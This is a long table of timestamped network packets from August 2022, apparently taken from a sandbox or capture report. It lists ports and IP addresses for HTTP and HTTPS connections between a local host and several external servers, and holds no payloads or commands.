Aug 23, 2022 03:42:43.890223026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890309095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890326977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890342951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890355110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890356064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890384912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890412092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890413046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890435934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890453100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890455961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890470982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890471935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890491962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890494108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890511990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890515089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890532017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890533924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890547037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890554905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890582085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890602112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890744925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890763998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890780926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890785933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890793085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890806913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890821934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890832901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891592026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891616106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891630888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891638041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891644001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891647100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891664028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891684055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891758919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891781092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891797066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891798019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891810894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891814947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891833067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891844034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.891956091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891978979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891994953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.891995907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892009974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892014980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892033100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892050028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892610073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892635107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892652988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892653942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892668009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892669916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892692089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892705917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892716885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892752886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892754078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892776012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892790079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.892792940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892810106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.892824888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.901848078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.901873112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.901933908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.901943922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.901969910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.901973963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902036905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902091026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902095079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902132988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902134895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902153969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902172089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902194023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902400017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902421951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902442932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902450085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902456999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902486086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902487993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902519941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902523994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902542114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902558088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902561903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902579069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902590036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902594090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902607918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.902631044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.902647972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.906672955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906727076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906754017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906769991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906795025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906805038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.906820059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906837940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.906842947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.906847000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.906847000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906852007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.906855106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.906866074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906980038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.906984091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.906986952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.907010078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.907025099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.907057047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.907073021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.907090902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.907114983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.907131910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918283939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918317080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918344975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918361902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918361902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918399096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918404102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918406963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918425083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918493032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918535948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918566942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918593884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918616056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918621063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918656111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918910027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918935061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.918957949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.918981075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919028997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919047117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919073105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919085979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919097900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919107914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919125080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919140100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919142962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919146061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919163942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919179916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919431925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919457912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919477940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919497967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919504881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919523001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919543028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919548035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919562101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919584990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919594049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919632912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919637918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919656038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919675112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919728041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.919934034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919960022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919984102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.919987917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920002937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.920027018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920032024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920039892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920073032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.920099020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.920144081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920155048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920156002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.920173883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.920197010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920213938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920813084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.920842886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.920862913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.920870066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920906067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.920909882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.921715975 CEST	443	49761	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.921793938 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.929521084 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.929533005 CEST	443	49761	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.931191921 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.931205988 CEST	443	49761	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.968482018 CEST	443	49761	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.968595982 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.968599081 CEST	443	49761	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.968661070 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:44.001403093 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:44.001450062 CEST	443	49761	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.280078888 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:45.280221939 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:45.280271053 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:45.490407944 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:45.490436077 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:45.508106947 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.508146048 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.508246899 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.508466959 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.508479118 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.550880909 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.576669931 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.576819897 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.576976061 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.595850945 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.672456026 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.699167013 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.699197054 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.700356007 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.713207960 CEST	49754	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.713242054 CEST	443	49754	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.714170933 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:45.714663029 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:45.772476912 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:46.604538918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.639373064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745121956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745172024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745208979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745261908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745265961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745320082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745322943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745327950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745332956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745368958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745398045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745410919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745420933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745450974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745524883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745588064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745624065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745646000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.745666981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.745714903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.779915094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.779962063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780011892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780035019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780059099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780086040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780109882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780117035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780136108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780160904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780172110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780183077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780184984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780193090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780200958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780210972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780226946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780237913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780249119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780267954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780267000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780288935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780299902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780325890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780333996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780348063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780353069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780369997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780374050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780400038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780404091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780426025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780427933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780451059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.780482054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.780504942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.815200090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.815227985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.815329075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.815413952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.824707031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.824776888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.824788094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.824810982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.824830055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.824848890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.824868917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.824951887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.824973106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.824989080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.824992895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825005054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825010061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825011015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825016022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825021029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825026035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825031042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825043917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825078964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825093985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825150967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825184107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825217962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825232983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825247049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825262070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825272083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825284004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825299025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825357914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825366974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825493097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825542927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825608015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825704098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825709105 CEST	49743	80	192.168.2.4	45.95.11.158
